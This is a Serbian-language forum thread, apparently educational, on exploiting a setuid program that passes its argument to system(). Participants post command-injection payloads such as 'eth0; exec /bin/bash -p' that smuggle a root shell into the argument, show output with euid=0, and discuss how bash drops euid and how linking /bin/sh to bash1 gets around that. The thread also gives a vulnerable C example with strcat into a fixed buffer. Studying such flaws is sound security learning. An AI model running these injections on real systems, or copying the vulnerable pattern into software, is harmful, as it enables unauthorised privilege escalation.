Suid bit i tekstualne datoteke

[japan]

[code]./a.out $(echo ” eth0″ && /bin/bash)[/code]

ali mi tu nešto baš nije kako sam očekivao…

[popeye]

Probaj:

[code]$ ./a.out “eth0; exec /bin/bash”[/code]

[japan]

aha, nego kako ja da dobijem id 0?

[popeye]

Hehe, bash zaštita od prenosa euida. 😉

[code]$ ./a.out “eth0; exec /bin/bash -p”
# id
uid=1000(popeye) gid=1000(popeye) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy), 29(audio),30(dip),44(video),46(plugdev),107(lpadmin),108(scanner),109(admin),1000(popeye)[/code]

Koji je euid? 😉

[popeye]

Opet, ponavljam, root privilegije dobijaš samo na Debianu i derivatima, ovo iznad je izlaz sa Ubuntu Breezy distribucije.

[japan]

da, ovo na slack-u ne radi, ni sa -p…
koliko sam shvatio, system() ne prenosi euid na bash2 samo ako je komanda /bin/bash, ali ja ni jednu komandu ne mogu da uradim kao root. bice da nisam dobro shvatio ovo objasnjenje za system()?

sad cu da probam sa exec…

edit: sad sam pazljivije procitao man system 🙂

[popeye]

Ako unesemo proveru unosa, kako bismo onda zaobišli ovakav kod:

[code]#include
#include

int main(int argc, char *argv[]) {

char cmd[50] = “ifconfig “;
char interfejs[] = “eth0”;
if (strcmp(argv[1], interfejs)==0) {
strcat(cmd, argv[1]);
} else {
printf(“Argument “%s” nije mrezni interfejs!n”, argv[1]);
return 0;
}

system(cmd);
return 0;

}[/code]

Ima li još neko koga ovo interesuje pored japana?

Izmena: Ispravka koda.

[popeye]

da, ovo na slack-u ne radi, ni sa -p…
koliko sam shvatio, system() ne prenosi euid na bash2 samo ako je komanda /bin/bash, ali ja ni jednu komandu ne mogu da uradim kao root. bice da nisam dobro shvatio ovo objasnjenje za system()?

sad cu da probam sa exec…

Bash2 odbacuje euid kada ga koristi system funkcija. Naredba “ifconfig eth0” u system() funkciji poziva ustvari “sh -c ifconfig eth0” i tada dolazi do odbacivanja euid vrednosti.

[popeye]

Ako na sistemu imaš bash1 (starije verzije Slackware distribucije ga sigurno imaju), linkuj /bin/sh na /bin/bash1 i probaj onda, radiće.

Kako bi pokrenuo shell u ispravljenoj verziji koda?

[japan]

za ovo već nisam siguran, možda neki ” ili tako nešto…

nisam se baš nešto mnogo bavio exploitovanjem…

[Autor]

Članci